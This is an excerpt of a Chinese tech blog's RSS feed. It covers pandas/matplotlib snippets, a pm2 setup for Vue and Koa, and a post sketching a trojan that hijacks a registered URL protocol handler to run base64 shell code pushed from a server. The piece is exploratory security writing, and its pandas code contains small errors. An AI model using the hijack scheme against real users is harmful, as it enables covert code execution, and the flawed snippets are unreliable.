# Int64Index([0, 1, 2, 3], dtype=&apos;int64&apos;)

datas.columns
# Index([u&apos;A&apos;, u&apos;B&apos;, u&apos;C&apos;, u&apos;D&apos;, u&apos;E&apos;, u&apos;F&apos;], dtype=&apos;object&apos;)

datas.values
# array(
# [
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;test&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;train&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;test&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;train&apos;, &apos;foo&apos;]
# ],
# dtype=object)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;排序 {#sorting}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas.sort_index(axis=0, ascending=False)
#      F      E  D    C          B    A
# 0  foo   test  3  1.0 2017-11-08  1.0
# 1  foo  train  3  1.0 2017-11-08  1.0
# 2  foo   test  3  1.0 2017-11-08  1.0
# 3  foo  train  3  1.0 2017-11-08  1.0

datas.sort_index(axis=0, ascending=False)
#      A          B    C  D      E    F
# 3  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 0  1.0 2017-11-08  1.0  3   test  foo

datas.sort_values(by=&apos;E&apos;)
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 3  1.0 2017-11-08  1.0  3  train  foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;设置值 {#set-values}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas = pd.DataFrame({
  &apos;A&apos;: pd.Series([1, 5, &apos;test&apos;, &apos;foo&apos;], index=list(range(4))),
  &apos;B&apos;: pd.Series([np.nan, 1, np.nan, &apos;test&apos;], index=list(range(4))),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
})
#       A     B    C
# 0     1   NaN  1.0
# 1     5     1  1.0
# 2  test   NaN  1.0
# 3   foo  test  1.0

datas.dropna(axis=0, how=&apos;any&apos;)
# 当 axis 是 1 时，则判断竖向里是否含有 NaN 的值
# how = &apos;any&apos; || &apos;all&apos; 默认是 any
# 当是 any 的时候，有一个值是 NaN 的时，就删除这一行。
# 当时 all 的时候，这一行全部为 NaN 时，就删除这一行
#      A     B    C
# 1    5     1  1.0
# 3  foo  test  1.0

datas.fillna(value=0)
#       A     B    C
# 0     1     0  1.0
# 1     5     1  1.0
# 2  test     0  1.0
# 3   foo  test  1.0

datas.isnull()
#        A      B      C
# 0  False   True  False
# 1  False  False  False
# 2  False   True  False
# 3  False  False  False

# 当数据特别大的时候，或者只想判断是否有值是 NaN 的值时
# np.any(datas.isnull()) == True
#   当有值时 NaN 时，将返回 True
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;导入导出 {#import-export}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;pd.read_csv(&apos;***.csv&apos;,delimiter=&apos;,&apos;,encoding=&apos;utf-8&apos;,names=[&apos;test1&apos;,&apos;test2&apos;,&apos;test3&apos;])
# 参数一: 读取的目标文件
# 参数二: csv 文件的分隔符
# 参数三: 编码
# 参数四: 设置列名

#           test1     test2          test3
# 0    2017-11-18       ABC        51315.0
# 1    2017-11-19       DEF         5659.0
# 2    2017-11-20       GHI         1599.0
# 3    2017-11-21       JKL         2224.0

datas.to_csv(&apos;**.csv&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/csv-export-excel.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;合并 {#pandas-merge}&lt;/h4&gt;
&lt;h5&gt;concat&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  1.0  1.0  1.0  1.0
# 1  1.0  1.0  1.0  1.0
# 2  1.0  1.0  1.0  1.0

datas3 = pd.DataFrame(np.ones((3, 4)) * 2, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  2.0  2.0  2.0  2.0
# 1  2.0  2.0  2.0  2.0
# 2  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=0, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0
# 5  1.0  1.0  1.0  1.0
# 6  2.0  2.0  2.0  2.0
# 7  2.0  2.0  2.0  2.0
# 8  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=1)
#      a    b    c    d    a    b    c    d    a    b    c    d
# 0  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 1  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;concat 部分参数 {#concat-params}&lt;/h6&gt;
&lt;blockquote&gt;
&lt;p&gt;在 concat 里，join 的默认参数时 outer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;], index=[1, 2, 3])
#      a    b    c    d
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=[&apos;b&apos;, &apos;c&apos;, &apos;d&apos;, &apos;e&apos;], index=[2, 3, 4])
#      b    c    d    e
# 2  1.0  1.0  1.0  1.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join=&apos;outer&apos;)
#      a    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN
# 2  0.0  0.0  0.0  0.0  NaN
# 3  0.0  0.0  0.0  0.0  NaN
# 2  NaN  1.0  1.0  1.0  1.0
# 3  NaN  1.0  1.0  1.0  1.0
# 4  NaN  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join=&apos;inner&apos;)
#      b    c    d
# 1  0.0  0.0  0.0
# 2  0.0  0.0  0.0
# 3  0.0  0.0  0.0
# 2  1.0  1.0  1.0
# 3  1.0  1.0  1.0
# 4  1.0  1.0  1.0

pd.concat([datas1, datas2], axis=1, join_axes=[datas2.index])
#      a    b    c    d    b    c    d    e
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
# 如果没有 join_axes 值时:
#      a    b    c    d    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN  NaN  NaN  NaN
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;append&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.Series([1, 2, 3, 4], index=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
# a    1
# b    2
# c    3
# d    4
# dtype: int64

datas1.append(datas2, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  2.0  3.0  4.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;merge&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;left = pd.DataFrame({
  &apos;key&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;, &apos;k3&apos;],
  &apos;A&apos;: [&apos;A0&apos;, &apos;A1&apos;, &apos;A2&apos;, &apos;A3&apos;],
  &apos;B&apos;: [&apos;B0&apos;, &apos;B1&apos;, &apos;B2&apos;, &apos;B3&apos;]
})
#     A   B key
# 0  A0  B0  k0
# 1  A1  B1  k1
# 2  A2  B2  k2
# 3  A3  B3  k3

right = pd.DataFrame({
  &apos;key&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;, &apos;k3&apos;],
  &apos;C&apos;: [&apos;C0&apos;, &apos;C1&apos;, &apos;C2&apos;, &apos;C3&apos;],
  &apos;D&apos;: [&apos;D0&apos;, &apos;D1&apos;, &apos;D2&apos;, &apos;D3&apos;]
})
#     C   D key
# 0  C0  D0  k0
# 1  C1  D1  k1
# 2  C2  D2  k2
# 3  C3  D3  k3

pd.merge(left, right, on=&apos;key&apos;)
#     A   B key   C   D
# 0  A0  B0  k0  C0  D0
# 1  A1  B1  k1  C1  D1
# 2  A2  B2  k2  C2  D2
# 3  A3  B3  k3  C3  D3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;left = pd.DataFrame({
  &apos;key1&apos;: [&apos;k0&apos;, &apos;k0&apos;, &apos;k1&apos;, &apos;k2&apos;],
  &apos;key2&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k0&apos;, &apos;k1&apos;],
  &apos;A&apos;: [&apos;A0&apos;, &apos;A1&apos;, &apos;A2&apos;, &apos;A3&apos;],
  &apos;B&apos;: [&apos;B0&apos;, &apos;B1&apos;, &apos;B2&apos;, &apos;B3&apos;]
})
#     A   B key1 key2
# 0  A0  B0   k0   k0
# 1  A1  B1   k0   k1
# 2  A2  B2   k1   k0
# 3  A3  B3   k2   k1

right = pd.DataFrame({
  &apos;key1&apos;: [&apos;k0&apos;, &apos;k1&apos;, &apos;k1&apos;, &apos;k2&apos;],
  &apos;key2&apos;: [&apos;k0&apos;, &apos;k0&apos;, &apos;k0&apos;, &apos;k0&apos;],
  &apos;C&apos;: [&apos;C0&apos;, &apos;C1&apos;, &apos;C2&apos;, &apos;C3&apos;],
  &apos;D&apos;: [&apos;D0&apos;, &apos;D1&apos;, &apos;D2&apos;, &apos;D3&apos;]
})
#     C   D key1 key2
# 0  C0  D0   k0   k0
# 1  C1  D1   k1   k0
# 2  C2  D2   k1   k0
# 3  C3  D3   k2   k0

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;inner&apos;)
# how 默认是 inner
#     A   B key1 key2   C   D
# 0  A0  B0   k0   k0  C0  D0
# 1  A2  B2   k1   k0  C1  D1
# 2  A2  B2   k1   k0  C2  D2

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;outer&apos;)
#      A    B key1 key2    C    D
# 0   A0   B0   k0   k0   C0   D0
# 1   A1   B1   k0   k1  NaN  NaN
# 2   A2   B2   k1   k0   C1   D1
# 3   A2   B2   k1   k0   C2   D2
# 4   A3   B3   k2   k1  NaN  NaN
# 5  NaN  NaN   k2   k0   C3   D3

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;]. how=&apos;right&apos;)
#      A    B key1 key2   C   D
# 0   A0   B0   k0   k0  C0  D0
# 1   A2   B2   k1   k0  C1  D1
# 2   A2   B2   k1   k0  C2  D2
# 3  NaN  NaN   k2   k0  C3  D3

pd.merge(left, right, on=[&apos;key1&apos;, &apos;key2&apos;], how=&apos;left&apos;)
#     A   B key1 key2    C    D
# 0  A0  B0   k0   k0   C0   D0
# 1  A1  B1   k0   k1  NaN  NaN
# 2  A2  B2   k1   k0   C1   D1
# 3  A2  B2   k1   k0   C2   D2
# 4  A3  B3   k2   k1  NaN  NaN
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;matplotilb&lt;/h2&gt;
&lt;h3&gt;导入 {#matplotlib-import}&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import matplotlib.pyplot as plt&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;plot&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;data = pd.Series(np.random.randn(1000)) # 随机 1000 个数
data = data.cumsum() # 累加
# 因为 pandas 本来就是一个数据，所以可以直接 plot，
# 还有两种写法: plt.plot(x=，y = ) 或者 plt.plot([xxx，xxx]，[yyy，yyy])
data.plot()
plt.rcParams[&apos;font.sans-serif&apos;]=[&apos;SimHei&apos;] # 用来正常显示中文标签
plt.rcParams[&apos;axes.unicode_minus&apos;]=False # 用来正常显示负号
# linewidth 线条的宽度
# linestyle 线条风格 (-实线 --破折线 -。点划线 : 虚线 None 说明都不画)
plt.plot([1,50,100],[1,4,9], linewidth=2.5, linestyle=&apos;--&apos;, label=&apos;lalala&apos;)
plt.legend(loc=&apos;upper left&apos;) # 没有这句，上面的 label 将不会显示
plt.plot([1,100,200],[1,7,9]) # 第三个数据
plt.title(&apos;Demo&apos;) # 标题
plt.xlabel(&apos;xxx&apos;) # x 轴名称
plt.ylabel(&apos;yyy&apos;) # y 轴名称
plt.text(60, 10, u&apos;说明文字&apos;) # 说明文字
plt.show()  # 显示
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-line-plot.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#  随机 1000 行 4 列的数字，行数从 0 到 999，列表为 A B C D
data = pd.DataFrame(np.random.randn(1000, 4),
          index=np.arange(1000),
          columns=list(&apos;ABCD&apos;))
data = data.cumsum()  # 累加
data.plot()
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-multiline-plot.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;其他图 {#other-charts}&lt;/h4&gt;
&lt;h5&gt;柱状图 {#bar-chart}&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;plt.bar(left, height, width=0.8)
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;散点图 {#scatter-plot}&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;plt.scatter(x,y)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>python</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>基于 Vue+Koa 的 pm2 配置</title><link>https://bugs.cc/zh/posts/koa-pm2-configuration/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/koa-pm2-configuration/</guid><description>使用 pm2 管理 vue 前端和 koa 后端项目</description><pubDate>Tue, 07 Nov 2017 13:37:00 GMT</pubDate><content:encoded>&lt;h2&gt;背景介绍 {#intro}&lt;/h2&gt;
&lt;p&gt;目前使用的技术栈是: 前端 Vue、后端 Koa、数据库 Mongodb。&lt;/p&gt;
&lt;p&gt;然而每当起服务的时候，都要 &lt;code&gt;npm start&lt;/code&gt;、&lt;code&gt;node ./server/app.js&lt;/code&gt;，还要同时保持这两个窗口一直是开着的，很是麻烦。&lt;/p&gt;
&lt;p&gt;而且因为我使用的是 koa，也没有使用狼叔写的 koa 脚手架。是自己基于廖雪峰老师的 &lt;a href=&quot;https://www.liaoxuefeng.com/wiki/001434446689867b27157e896e74d51a89c25cc8b43bdb3000/001434501579966ab03decb0dd246e1a6799dd653a15e1b000&quot;&gt;Koa 框架&lt;/a&gt; 改的一个小型 mvc。导致没有热更新。&lt;/p&gt;
&lt;p&gt;为了简化这种没必要的操作及增加热更新，开始想怎么进行优化。于是选择了 &lt;code&gt;pm2&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;配置 pm2 {#pm2-config}&lt;/h2&gt;
&lt;p&gt;先安装 pm2: &lt;code&gt;npm i pm2&lt;/code&gt;、&lt;code&gt;npm i pm2 -g&lt;/code&gt;
因为是开源项目，为了让代码能再别人的电脑上跑起来，需要让 pm2 存在项目里。然后在全局安装，方便后期调试&lt;/p&gt;
&lt;p&gt;再项目的根目录里创建 logs 目录&lt;/p&gt;
&lt;p&gt;在当前的目录创建一个 pm2.json 的文件，内容如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;apps&quot;: [{
    &quot;name&quot;: &quot;koler-server&quot;,
    &quot;script&quot;: &quot;./app.js&quot;,
    &quot;error_file&quot;      : &quot;../logs/server-err.log&quot;,
    &quot;out_file&quot;        : &quot;../logs/server-out.log&quot;,
    &quot;merge_logs&quot;      : true,
    &quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
    &quot;cwd&quot;: &quot;./server&quot;,
    &quot;watch&quot;: [
      &quot;app.js&quot;,
      &quot;controllers&quot;
    ],
    &quot;watch_options&quot;: {
      &quot;followSymlinks&quot;: false
    }
  },{
    &quot;name&quot;: &quot;koler-app&quot;,
    &quot;script&quot;: &quot;./build/dev-server.js&quot;,
    &quot;error_file&quot;      : &quot;./logs/app-err.log&quot;,
    &quot;out_file&quot;        : &quot;./logs/app-out.log&quot;,
    &quot;merge_logs&quot;      : true,
    &quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
    &quot;cwd&quot;: &quot;./&quot;,
    &quot;ignore_watch&quot; : [
      &quot;node_modules&quot;
    ],
    &quot;watch_options&quot;: {
      &quot;followSymlinks&quot;: false
    }
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里同时启动两个项目。
&lt;code&gt;koler-server&lt;/code&gt; 是 koa，&lt;code&gt;koler-app&lt;/code&gt; 是前端 vue。&lt;/p&gt;
&lt;p&gt;我尝试了一下把&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;error_file&quot;      : &quot;./logs/app-err.log&quot;,
&quot;out_file&quot;        : &quot;./logs/app-out.log&quot;,
&quot;merge_logs&quot;      : true,
&quot;log_date_format&quot; : &quot;YYYY-MM-DD HH:mm Z&quot;,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码提升到 json 的根部，但是发现不起作用。看来 pm2 不支持这种。所以只能在每个服务里写了。&lt;/p&gt;
&lt;h2&gt;配置 package.json {#package-json-config}&lt;/h2&gt;
&lt;p&gt;替换之前的 &lt;code&gt;script&lt;/code&gt; 字段下的 &lt;code&gt;dev&lt;/code&gt;，然后再增加 &lt;code&gt;stop&lt;/code&gt; 字段，替换后如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;scripts&quot;: {
  &quot;dev&quot;: &quot;pm2 start pm2.json &amp;amp;&amp;amp; pm2 logs&quot;,
  &quot;start&quot;: &quot;npm run dev&quot;,
  &quot;stop&quot;: &quot;pm2 stop koler-app koler-server &amp;amp;&amp;amp; pm2 delete koler-app koler-server&quot;,
  &quot;build&quot;: &quot;node build/build.js&quot;,
  &quot;lint&quot;: &quot;eslint --ext .js,.vue src&quot;
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pm2 start pm2.json &amp;amp;&amp;amp; pm2 logs&lt;/code&gt; 是基于 pm2.json 文件配置启动，后面的 &lt;code&gt;pm2 logs&lt;/code&gt; 是为了同时跟踪 vue 和 koa 的反馈日志。&lt;/p&gt;
&lt;p&gt;输入 &lt;code&gt;npm start&lt;/code&gt; 后。终端如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/pm2-start-logs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;那个错误是不用管的，因为我忘记清理之前的日志了&lt;/p&gt;
&lt;p&gt;启动后，你的屏幕会出现一个 cmd 窗口，不用关，过一会它会自行关闭的。每次修改代码触发 pm2 配置文件里 &lt;code&gt;watch&lt;/code&gt; 规则时，就会自动弹出一个 cmd 窗口，也是过一会关闭。&lt;/p&gt;
&lt;p&gt;因为其他项目使用者可能会在电脑上跑多个 pm2 实例，所以在 &lt;code&gt;stop&lt;/code&gt; 字段里，我跟上了名字。防止出现把所有的实例全部暂定删除了。&lt;/p&gt;
&lt;h2&gt;测试 {#testing}&lt;/h2&gt;
&lt;p&gt;现在我们更改代码发现没有任何问题，pm2 会帮助我们自动进行热更新。现在我们故意改错一段 vue 的代码试试:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/vue-webpack-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/koa-pm2-configuration/koa-restart-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以发现已经 OK 了。&lt;/p&gt;
&lt;p&gt;这里说明一下为什么在 pm2.json 配置文件里的第二个实例 &lt;code&gt;koler-app&lt;/code&gt; 没有 watch，因为 vue 在开发环境下使用的是 wenpack 的 watch，所以不需要加。&lt;/p&gt;
</content:encoded><category>nodejs</category><category>vue</category><category>koa</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>基于 URLProtocol 攻击的一些想法</title><link>https://bugs.cc/zh/posts/some-ideas-based-on-urlprotocol-attacks/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/some-ideas-based-on-urlprotocol-attacks/</guid><description>基于 URLProtocol 协议的一些攻击手法的想法</description><pubDate>Sun, 26 Mar 2017 08:33:52 GMT</pubDate><content:encoded>&lt;p&gt;浏览器调起本地应用的原理是 &lt;code&gt;URLProtocol&lt;/code&gt; 技术。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/some-ideas-based-on-urlprotocol-attacks/#user-content-fn-urlprotocol-refs&quot; id=&quot;user-content-fnref-urlprotocol-refs&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;其中 在注册表的 &lt;code&gt;[HKEY_CLASSES_ROOT]&lt;/code&gt; 主键下，我们可以看到很多的 &lt;code&gt;URLProtocol&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;比如阿里旺旺的:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/aliim-registry-command.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;而阿里旺旺在网页端的&lt;code&gt;和我联系&lt;/code&gt;按钮，是跳转到 &lt;code&gt;https://amos.alicdn.com/getcid.aw?v=3&amp;amp;groupid=0&amp;amp;s=1&amp;amp;charset=utf-8&amp;amp;uid=淘宝店铺名&amp;amp;site=cntaobao&amp;amp;groupid=0&amp;amp;s=1&amp;amp;fromid=cntaobao淘宝用户名&lt;/code&gt; 链接的，而这个页面调用了下面的 javascript 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;!function() {
    var a = window,
    b = function() {
        try {
            window.open(&quot;&quot;, &quot;_top&quot;),
            a.opener = null,
            a.close()
        } catch(b) {}
    },
    c = function() {
        a.location.href = &quot;aliim:sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;,
        setTimeout(function() {
            b()
        },
        6e3)
    };
    a.isInstalled ? a.isInstalled(function(b) {
        if (b) c();
        else {
            var d = confirm(&quot;\u68c0\u6d4b\u5230\u4f60\u672a\u5b89\u88c5\u963f\u91cc\u65fa\u65fa\u5ba2\u6237\u7aef,\u662f\u5426\u8981\u8df3\u8f6c\u5230\u5b98\u7f51\u4e0b\u8f7d?&quot;);
            d === !0 &amp;amp;&amp;amp; (a.location.href = &quot;https://wangwang.taobao.com&quot;)
        }
    }) : c()
} ();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中最核心的代码就是 &lt;code&gt;a.location.href = &quot;aliim:sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;&lt;/code&gt; 代码，而这段代码的 aliim 就是在注册表的 &lt;code&gt;[HKEY_CLASSES_ROOT]&lt;/code&gt; 主键下的阿里旺旺主键名。&lt;/p&gt;
&lt;p&gt;在上面的图中，我们可以看到当打开时，调用了 &lt;code&gt;&quot;D:\Program Files (x86)\AliWangWang\8.60.03C\wwcmd.exe&quot; %1&lt;/code&gt; 命令，wwcmd.exe 就是阿里旺旺处理网页端信息的 API 接口，当处理成功时，就会调起回话窗口。%1 就是 &lt;code&gt;sendmsg?touid=&quot; + a.site + a.touid + &quot;&amp;amp;site=&quot; + a.site + &quot;&amp;amp;status=1&quot;&lt;/code&gt; 这段参数。让我们替换下 WWCmd.exe。看下是如何传递参数的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt; #include&amp;lt;stdio.h&amp;gt;
 int main(int argc,char **argv) {
      FILE *fp = fopen(&quot;c:/123.txt&quot;,&quot;w+&quot;);
      if(NULL == fp)
          return -1;
      while(argc--&amp;gt;0){
          fputs(*++argv,fp);
          fputs(&quot; &quot;,fp);
      }
      return 0;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段 C 语言代码是会把后面的参数另存为 c 盘下的 123.txt 文件，替换掉 WWCmd.exe 后，点击&lt;code&gt;和我联系&lt;/code&gt;，C 盘下存在了一个 123.txt 文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/captured-protocol-params.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现，把 &lt;code&gt;aliim:&lt;/code&gt; 也传递进去了，按照这个请求的话，我们可以构造一个 exe 程序，来进行接收参数了。个人能力有限，说说大体的思路吧。&lt;/p&gt;
&lt;p&gt;exe 程序替换掉原有的 &lt;code&gt;WWCmd.exe&lt;/code&gt; 程序，然后来生成特定的插件，植入到浏览器里，然后用户每打开一个网站都会从服务器端接收一个特定的 base64 编码后的 shell 代码。然后执行 &lt;code&gt;aliim:cmd=服务端的base64&lt;/code&gt;，然后运行。当参数为 &lt;code&gt;sendmsg&lt;/code&gt; 时，调起阿里旺旺，当为 &lt;code&gt;cmd&lt;/code&gt; 时执行代码。这样的话，木马的隐藏及唤醒条件都达到了。同理迅雷下载等也都可以。&lt;/p&gt;
&lt;p&gt;好处是在哪呢，一般来说浏览器调起阿里旺旺、迅雷等应用都会弹窗，但是一般用户都会点击 不在提示。这样的话，目标就打成了。&lt;/p&gt;
&lt;p&gt;这只是一个思路，不太成熟。欢迎大家补充。&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-urlprotocol-refs&quot;&gt;
&lt;p&gt;详情可以在 &lt;a href=&quot;http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html&quot;&gt;http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html&lt;/a&gt; 和 &lt;a href=&quot;http://blog.csdn.net/zssureqh/article/details/25828683&quot;&gt;http://blog.csdn.net/zssureqh/article/details/25828683&lt;/a&gt; 里查看。 &lt;a href=&quot;https://bugs.cc/zh/posts/some-ideas-based-on-urlprotocol-attacks/#user-content-fnref-urlprotocol-refs&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>web security</category><category>javascript</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>XSS 自动化入侵内网</title><link>https://bugs.cc/zh/posts/use-xss-automation-invade-intranet/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/use-xss-automation-invade-intranet/</guid><description>利用 webrtc 的特性对内网进行检测、入侵</description><pubDate>Wed, 14 Dec 2016 14:40:25 GMT</pubDate><content:encoded>&lt;h2&gt;0x01 前言: {#intro}&lt;/h2&gt;
